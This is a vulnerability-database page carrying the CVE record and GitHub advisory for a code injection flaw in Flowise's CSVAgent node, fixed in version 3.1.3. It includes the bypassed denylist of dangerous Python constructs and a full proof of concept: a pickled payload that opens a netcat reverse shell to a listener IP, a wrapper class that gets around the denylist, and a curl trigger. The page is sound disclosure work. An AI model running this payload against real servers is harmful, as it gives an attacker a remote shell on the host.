Vulnerability-Lookup

CVE-2026-69256 (GCVE-0-2026-69256)

Vulnerability from cvelistv5 – Published: 2026-08-04 15:45 – Updated: 2026-08-05 13:41

Title

Flowise: Remote Code Execution Vulnerability in CSVAgent

Summary

Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent node allowed users to provide Python code that is executed through pyodide; although a denylist blocked dangerous Python constructs, pandas.read_pickle() could deserialize a pickled payload and achieve code execution without matching the denied words. The affected file is flowise-components/nodes/agents/CSVAgent/CSVAgent.ts, where user-supplied customReadCSVFunc is evaluated as pd.${customReadCSVFunc}. An authenticated user who can create or modify a chatflow can add a CSV Agent, place a malicious read_pickle payload in the Additional Parameters, save the chatflow, and trigger /api/v1/prediction/<UUID> to execute commands. This issue is fixed in version 3.1.3.

Severity

9.4 (Critical)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator (v2.0.3)

CWE

CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

GitHub_M

References

4 references

URL	Tags
https://github.com/FlowiseAI/Flowise/security/adv…	x_refsource_CONFIRM
https://github.com/FlowiseAI/Flowise/pull/6257	x_refsource_MISC
https://github.com/FlowiseAI/Flowise/commit/c79fe…	x_refsource_MISC
https://github.com/FlowiseAI/Flowise/releases/tag…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
FlowiseAI	Flowise	Affected: < 3.1.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-69256",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-05T13:40:25.220119Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-05T13:41:04.093Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "Flowise",
          "vendor": "FlowiseAI",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.1.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent node allowed users to provide Python code that is executed through pyodide; although a denylist blocked dangerous Python constructs, pandas.read_pickle() could deserialize a pickled payload and achieve code execution without matching the denied words. The affected file is flowise-components/nodes/agents/CSVAgent/CSVAgent.ts, where user-supplied customReadCSVFunc is evaluated as pd.${customReadCSVFunc}. An authenticated user who can create or modify a chatflow can add a CSV Agent, place a malicious read_pickle payload in the Additional Parameters, save the chatflow, and trigger /api/v1/prediction/\u003cUUID\u003e to execute commands. This issue is fixed in version 3.1.3."
        }
      ],
      "metrics": [
        {
          "cvssV4_0": {
            "attackComplexity": "LOW",
            "attackRequirements": "NONE",
            "attackVector": "NETWORK",
            "baseScore": 9.4,
            "baseSeverity": "CRITICAL",
            "privilegesRequired": "LOW",
            "subAvailabilityImpact": "HIGH",
            "subConfidentialityImpact": "HIGH",
            "subIntegrityImpact": "HIGH",
            "userInteraction": "NONE",
            "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
            "version": "4.0",
            "vulnAvailabilityImpact": "HIGH",
            "vulnConfidentialityImpact": "HIGH",
            "vulnIntegrityImpact": "HIGH"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-94",
              "description": "CWE-94: Improper Control of Generation of Code (\u0027Code Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-04T15:45:55.039Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g"
        },
        {
          "name": "https://github.com/FlowiseAI/Flowise/pull/6257",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/FlowiseAI/Flowise/pull/6257"
        },
        {
          "name": "https://github.com/FlowiseAI/Flowise/commit/c79fe56a6c249850e96bce9b4859f7a0083e4507",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/FlowiseAI/Flowise/commit/c79fe56a6c249850e96bce9b4859f7a0083e4507"
        },
        {
          "name": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
        }
      ],
      "source": {
        "advisory": "GHSA-x6vm-w76m-8j7g",
        "discovery": "UNKNOWN"
      },
      "title": "Flowise: Remote Code Execution Vulnerability in CSVAgent"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-69256",
    "datePublished": "2026-08-04T15:45:55.039Z",
    "dateReserved": "2026-08-03T19:54:19.853Z",
    "dateUpdated": "2026-08-05T13:41:04.093Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-69256",
      "date": "2026-08-05",
      "epss": "0.0039",
      "percentile": "0.31732"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-69256\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-08-04T17:17:00.707\",\"lastModified\":\"2026-08-05T14:17:10.587\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"Flowise is a drag \u0026 drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent node allowed users to provide Python code that is executed through pyodide; although a denylist blocked dangerous Python constructs, pandas.read_pickle() could deserialize a pickled payload and achieve code execution without matching the denied words. The affected file is flowise-components/nodes/agents/CSVAgent/CSVAgent.ts, where user-supplied customReadCSVFunc is evaluated as pd.${customReadCSVFunc}. An authenticated user who can create or modify a chatflow can add a CSV Agent, place a malicious read_pickle payload in the Additional Parameters, save the chatflow, and trigger /api/v1/prediction/\u003cUUID\u003e to execute commands. This issue is fixed in version 3.1.3.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"FlowiseAI\",\"product\":\"Flowise\",\"versions\":[{\"version\":\"\u003c 3.1.3\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV40\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"4.0\",\"vectorString\":\"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X\",\"baseScore\":9.4,\"baseSeverity\":\"CRITICAL\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"attackRequirements\":\"NONE\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"vulnConfidentialityImpact\":\"HIGH\",\"vulnIntegrityImpact\":\"HIGH\",\"vulnAvailabilityImpact\":\"HIGH\",\"subConfidentialityImpact\":\"HIGH\",\"subIntegrityImpact\":\"HIGH\",\"subAvailabilityImpact\":\"HIGH\",\"exploitMaturity\":\"NOT_DEFINED\",\"confidentialityRequirement\":\"NOT_DEFINED\",\"integrityRequirement\":\"NOT_DEFINED\",\"availabilityRequirement\":\"NOT_DEFINED\",\"modifiedAttackVector\":\"NOT_DEFINED\",\"modifiedAttackComplexity\":\"NOT_DEFINED\",\"modifiedAttackRequirements\":\"NOT_DEFINED\",\"modifiedPrivilegesRequired\":\"NOT_DEFINED\",\"modifiedUserInteraction\":\"NOT_DEFINED\",\"modifiedVulnConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedVulnIntegrityImpact\":\"NOT_DEFINED\",\"modifiedVulnAvailabilityImpact\":\"NOT_DEFINED\",\"modifiedSubConfidentialityImpact\":\"NOT_DEFINED\",\"modifiedSubIntegrityImpact\":\"NOT_DEFINED\",\"modifiedSubAvailabilityImpact\":\"NOT_DEFINED\",\"Safety\":\"NOT_DEFINED\",\"Automatable\":\"NOT_DEFINED\",\"Recovery\":\"NOT_DEFINED\",\"valueDensity\":\"NOT_DEFINED\",\"vulnerabilityResponseEffort\":\"NOT_DEFINED\",\"providerUrgency\":\"NOT_DEFINED\"}}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-08-05T13:40:25.220119Z\",\"id\":\"CVE-2026-69256\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-94\"}]}],\"references\":[{\"url\":\"https://github.com/FlowiseAI/Flowise/commit/c79fe56a6c249850e96bce9b4859f7a0083e4507\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/FlowiseAI/Flowise/pull/6257\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}"
  }
}

GHSA-X6VM-W76M-8J7G

Vulnerability from github – Published: 2026-08-04 15:46 – Updated: 2026-08-04 17:47

Summary

Flowise: Remote Code Execution Vulnerability in CSVAgent

Details

Summary

The CSVAgent node was observed to allow users to write Python code which gets executed via pyodide. The original intent was to allow users to utilise the pandas library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, pandas has a read_pickle() function that deserialises a pickled payload and this can be leveraged to achieve code execution.

Details

The affected file is the CSVAgent node, found in: flowise-components/nodes/agents/CSVAgent/CSVAgent.ts.

try {
    const code = `import pandas as pd
import base64
from io import StringIO
import json

base64_string = "${base64String}"

decoded_data = base64.b64decode(base64_string)

csv_data = StringIO(decoded_data.decode('utf-8'))

df = pd.${customReadCSVFunc} <1>
my_dict = df.dtypes.astype(str).to_dict()
print(my_dict)
json.dumps(my_dict)`
    dataframeColDict = await pyodide.runPythonAsync(code)
} catch (error) {
    throw new Error(error)
}

At <1>, the customReadCSVFunc is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in:

const FORBIDDEN_PATTERNS: Array<{ pattern: RegExp; reason: string }> = [
    // Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports)
    { pattern: /\bfrom\s+\S+\s+import\b/g, reason: 'import statement (from...import)' },
    { pattern: /\bimport\b/g, reason: 'import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)' },
    // Dangerous builtins
    { pattern: /\beval\s*\(/g, reason: 'eval()' },
    { pattern: /\bexec\s*\(/g, reason: 'exec()' },
    { pattern: /\bcompile\s*\(/g, reason: 'compile()' },
    { pattern: /\b__import__\s*\(/g, reason: '__import__()' },
    { pattern: /\bopen\s*\(/g, reason: 'open()' },
    { pattern: /\bbreakpoint\s*\(/g, reason: 'breakpoint()' },
    { pattern: /\binput\s*\(/g, reason: 'input()' },
    { pattern: /\braw_input\s*\(/g, reason: 'raw_input()' },
    { pattern: /\bglobals\s*\(/g, reason: 'globals()' },
    { pattern: /\blocals\s*\(/g, reason: 'locals()' },
    { pattern: /\bgetattr\s*\(/g, reason: 'getattr()' },
    { pattern: /\bsetattr\s*\(/g, reason: 'setattr()' },
    { pattern: /\bdelattr\s*\(/g, reason: 'delattr()' },
    { pattern: /\breload\s*\(/g, reason: 'reload()' },
    { pattern: /\bfile\s*\(/g, reason: 'file()' },
    { pattern: /\bexecfile\s*\(/g, reason: 'execfile()' },
    // Dangerous modules / attributes
    { pattern: /\bos\./g, reason: 'os module' },
    { pattern: /\bsubprocess\./g, reason: 'subprocess module' },
    { pattern: /\bsys\./g, reason: 'sys module' },
    { pattern: /\bsocket\./g, reason: 'socket module' },
    { pattern: /\burllib\./g, reason: 'urllib module' },
    { pattern: /\brequests\./g, reason: 'requests module' },
    { pattern: /\b__builtins__\b/g, reason: '__builtins__' },
    { pattern: /\b__loader__\b/g, reason: '__loader__' },
    { pattern: /\b__spec__\b/g, reason: '__spec__' },
    { pattern: /\b__class__\b/g, reason: '__class__ (reflection)' },
    { pattern: /\b__subclasses__\s*\(/g, reason: '__subclasses__()' },
    { pattern: /\b__bases__\b/g, reason: '__bases__' },
    { pattern: /\b__mro__\b/g, reason: '__mro__' },
    { pattern: /\b__globals__\b/g, reason: '__globals__' },
    { pattern: /\b__code__\b/g, reason: '__code__' },
    { pattern: /\b__closure__\b/g, reason: '__closure__' },
    { pattern: /\bvars\s*\(/g, reason: 'vars()' },
    { pattern: /\bdir\s*\(/g, reason: 'dir()' },
    { pattern: /\b__dict__\b/g, reason: '__dict__ (attribute reflection)' },
    { pattern: /\b__module__\b/g, reason: '__module__ (module reflection)' }
]

However, by using pandas.read_pickle(), an attacker can achieve code execution without hitting any of the denied words.

PoC

First, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port):

import pickle
import base64
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ("/usr/bin/nc 172.17.0.1 13337 -e /bin/sh",))

payload = pickle.dumps(Exploit())
encoded = base64.b64encode(payload).decode()
print(encoded)

Run it and note the encoded payload to be used later:

$ python3 pickle-payload-poc.py

gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=

In the Flowise dashboard, navigate to Chatflows and create or modify an existing Chatflow.
Drag a "CSV Agent" node onto the canvas.
Click on "Additional Parameters" and fill in the following PoC:

isnull("")
class MiniBytesIO:
    def __init__(self, b):
        self.data = b
        self.pos = 0
    def read(self, n=-1):
        if n == -1:
            n = len(self.data) - self.pos
        chunk = self.data[self.pos:self.pos+n]
        self.pos += n
        return chunk
    def readline(self, n=-1):
        if self.pos >= len(self.data):
            return b""
        next_nl = self.data.find(b"\\n", self.pos)
        if next_nl == -1:
            next_nl = len(self.data)
        if n != -1:
            next_nl = min(self.pos + n, next_nl)
        line = self.data[self.pos:next_nl+1]
        self.pos = next_nl + 1
        return line
pd.read_pickle(MiniBytesIO(base64.b64decode("gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=")))

The custom MiniBytesIO class needs to be included in order to deserialise the pickled payload, since read_pickle() expects a "str, path object, or file-like object". This is because we cannot use import to import BytesIO, nor open() to write to disk and read, and entering a URL does not work due to pyodide not having raw socket capabilities.

Save the chatflow, and obtain the UUID of this chatflow from the URL /canvas/<UUID>.

Open a listening shell on your specified port from your listening host, and send a POST request to the chatflow to trigger it and achieve code execution:

$ curl -X POST http://<TARGET>/api/v1/prediction/<UUID>

Severity

9.4 (Critical)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise-components"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.1.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-69256"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-04T15:46:20Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nThe CSVAgent node was observed to allow users to write Python code which gets executed via `pyodide`. The original intent was to allow users to utilise the `pandas` library for CSV processing. Although there is a denylist that checks for dangerous Python constructs from being passed in, `pandas` has a `read_pickle()` [function](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html) that deserialises a pickled payload and this can be leveraged to achieve code execution.\n\n### Details\n\nThe affected file is the `CSVAgent` node, found in: `flowise-components/nodes/agents/CSVAgent/CSVAgent.ts`.\n\n```js\ntry {\n    const code = `import pandas as pd\nimport base64\nfrom io import StringIO\nimport json\n\nbase64_string = \"${base64String}\"\n\ndecoded_data = base64.b64decode(base64_string)\n\ncsv_data = StringIO(decoded_data.decode(\u0027utf-8\u0027))\n\ndf = pd.${customReadCSVFunc} \u003c1\u003e\nmy_dict = df.dtypes.astype(str).to_dict()\nprint(my_dict)\njson.dumps(my_dict)`\n    dataframeColDict = await pyodide.runPythonAsync(code)\n} catch (error) {\n    throw new Error(error)\n}\n```\n\nAt \u003c1\u003e, the `customReadCSVFunc` is supplied by the user. This input goes through input validation that denies dangerous Python constructs from being passed in:\n\n```py\nconst FORBIDDEN_PATTERNS: Array\u003c{ pattern: RegExp; reason: string }\u003e = [\n    // Imports (the executor pre-imports pandas and numpy; LLM code must not add any imports)\n    { pattern: /\\bfrom\\s+\\S+\\s+import\\b/g, reason: \u0027import statement (from...import)\u0027 },\n    { pattern: /\\bimport\\b/g, reason: \u0027import statement (all imports forbidden; pandas and numpy are pre-imported by the executor)\u0027 },\n    // Dangerous builtins\n    { pattern: /\\beval\\s*\\(/g, reason: \u0027eval()\u0027 },\n    { pattern: /\\bexec\\s*\\(/g, reason: \u0027exec()\u0027 },\n    { pattern: /\\bcompile\\s*\\(/g, reason: \u0027compile()\u0027 },\n    { pattern: /\\b__import__\\s*\\(/g, reason: \u0027__import__()\u0027 },\n    { pattern: /\\bopen\\s*\\(/g, reason: \u0027open()\u0027 },\n    { pattern: /\\bbreakpoint\\s*\\(/g, reason: \u0027breakpoint()\u0027 },\n    { pattern: /\\binput\\s*\\(/g, reason: \u0027input()\u0027 },\n    { pattern: /\\braw_input\\s*\\(/g, reason: \u0027raw_input()\u0027 },\n    { pattern: /\\bglobals\\s*\\(/g, reason: \u0027globals()\u0027 },\n    { pattern: /\\blocals\\s*\\(/g, reason: \u0027locals()\u0027 },\n    { pattern: /\\bgetattr\\s*\\(/g, reason: \u0027getattr()\u0027 },\n    { pattern: /\\bsetattr\\s*\\(/g, reason: \u0027setattr()\u0027 },\n    { pattern: /\\bdelattr\\s*\\(/g, reason: \u0027delattr()\u0027 },\n    { pattern: /\\breload\\s*\\(/g, reason: \u0027reload()\u0027 },\n    { pattern: /\\bfile\\s*\\(/g, reason: \u0027file()\u0027 },\n    { pattern: /\\bexecfile\\s*\\(/g, reason: \u0027execfile()\u0027 },\n    // Dangerous modules / attributes\n    { pattern: /\\bos\\./g, reason: \u0027os module\u0027 },\n    { pattern: /\\bsubprocess\\./g, reason: \u0027subprocess module\u0027 },\n    { pattern: /\\bsys\\./g, reason: \u0027sys module\u0027 },\n    { pattern: /\\bsocket\\./g, reason: \u0027socket module\u0027 },\n    { pattern: /\\burllib\\./g, reason: \u0027urllib module\u0027 },\n    { pattern: /\\brequests\\./g, reason: \u0027requests module\u0027 },\n    { pattern: /\\b__builtins__\\b/g, reason: \u0027__builtins__\u0027 },\n    { pattern: /\\b__loader__\\b/g, reason: \u0027__loader__\u0027 },\n    { pattern: /\\b__spec__\\b/g, reason: \u0027__spec__\u0027 },\n    { pattern: /\\b__class__\\b/g, reason: \u0027__class__ (reflection)\u0027 },\n    { pattern: /\\b__subclasses__\\s*\\(/g, reason: \u0027__subclasses__()\u0027 },\n    { pattern: /\\b__bases__\\b/g, reason: \u0027__bases__\u0027 },\n    { pattern: /\\b__mro__\\b/g, reason: \u0027__mro__\u0027 },\n    { pattern: /\\b__globals__\\b/g, reason: \u0027__globals__\u0027 },\n    { pattern: /\\b__code__\\b/g, reason: \u0027__code__\u0027 },\n    { pattern: /\\b__closure__\\b/g, reason: \u0027__closure__\u0027 },\n    { pattern: /\\bvars\\s*\\(/g, reason: \u0027vars()\u0027 },\n    { pattern: /\\bdir\\s*\\(/g, reason: \u0027dir()\u0027 },\n    { pattern: /\\b__dict__\\b/g, reason: \u0027__dict__ (attribute reflection)\u0027 },\n    { pattern: /\\b__module__\\b/g, reason: \u0027__module__ (module reflection)\u0027 }\n]\n```\n\nHowever, by using `pandas.read_pickle()`, an attacker can achieve code execution without hitting any of the denied words.\n\n### PoC\n\nFirst, generate a pickled payload that performs an OS command (replace the IP and port with your listening IP and port):\n\n```py\nimport pickle\nimport base64\nimport os\n\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, (\"/usr/bin/nc 172.17.0.1 13337 -e /bin/sh\",))\n\npayload = pickle.dumps(Exploit())\nencoded = base64.b64encode(payload).decode()\nprint(encoded)\n```\n\nRun it and note the encoded payload to be used later:\n\n```bash\n$ python3 pickle-payload-poc.py\n\ngASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=\n```\n\n1. In the Flowise dashboard, navigate to Chatflows and create or modify an existing Chatflow.\n2. Drag a \"CSV Agent\" node onto the canvas.\n3. Click on \"Additional Parameters\" and fill in the following PoC:\n\n```py\nisnull(\"\")\nclass MiniBytesIO:\n    def __init__(self, b):\n        self.data = b\n        self.pos = 0\n    def read(self, n=-1):\n        if n == -1:\n            n = len(self.data) - self.pos\n        chunk = self.data[self.pos:self.pos+n]\n        self.pos += n\n        return chunk\n    def readline(self, n=-1):\n        if self.pos \u003e= len(self.data):\n            return b\"\"\n        next_nl = self.data.find(b\"\\\\n\", self.pos)\n        if next_nl == -1:\n            next_nl = len(self.data)\n        if n != -1:\n            next_nl = min(self.pos + n, next_nl)\n        line = self.data[self.pos:next_nl+1]\n        self.pos = next_nl + 1\n        return line\npd.read_pickle(MiniBytesIO(base64.b64decode(\"gASVQgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCcvdXNyL2Jpbi9uYyAxNzIuMTcuMC4xIDEzMzM3IC1lIC9iaW4vc2iUhZRSlC4=\")))\n```\n\nThe custom `MiniBytesIO` class  needs to be included in order to deserialise the pickled payload, since `read_pickle()` expects a \"str, path object, or file-like object\". This is because we cannot use `import` to import `BytesIO`, nor `open()` to write to disk and read, and entering a URL does not work due to `pyodide` not having raw socket capabilities.\n\nSave the chatflow, and obtain the UUID of this chatflow from the URL `/canvas/\u003cUUID\u003e`.\n\nOpen a listening shell on your specified port from your listening host, and send a POST request to the chatflow to trigger it and achieve code execution:\n\n```\n$ curl -X POST http://\u003cTARGET\u003e/api/v1/prediction/\u003cUUID\u003e\n```",
  "id": "GHSA-x6vm-w76m-8j7g",
  "modified": "2026-08-04T17:47:31Z",
  "published": "2026-08-04T15:46:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-x6vm-w76m-8j7g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/pull/6257"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/commit/c79fe56a6c249850e96bce9b4859f7a0083e4507"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FlowiseAI/Flowise"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FlowiseAI/Flowise/releases/tag/flowise@3.1.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Flowise: Remote Code Execution Vulnerability in CSVAgent"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-69256 (GCVE-0-2026-69256)

GHSA-X6VM-W76M-8J7G

Summary

Details

PoC

Tags

Sightings

Nomenclature